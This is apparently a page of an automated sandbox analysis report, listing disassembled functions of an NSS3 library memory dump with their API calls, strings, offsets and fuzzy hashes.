Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

database corruption, xrefs: 6C5DBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
%s at line %d of [%.10s], xrefs: 6C5DBE98

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

pInitArgs = 0x%p, xrefs: 6C681CEC
C_Initialize, xrefs: 6C681CD3
nvl, xrefs: 6C681D09, 6C681D30

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
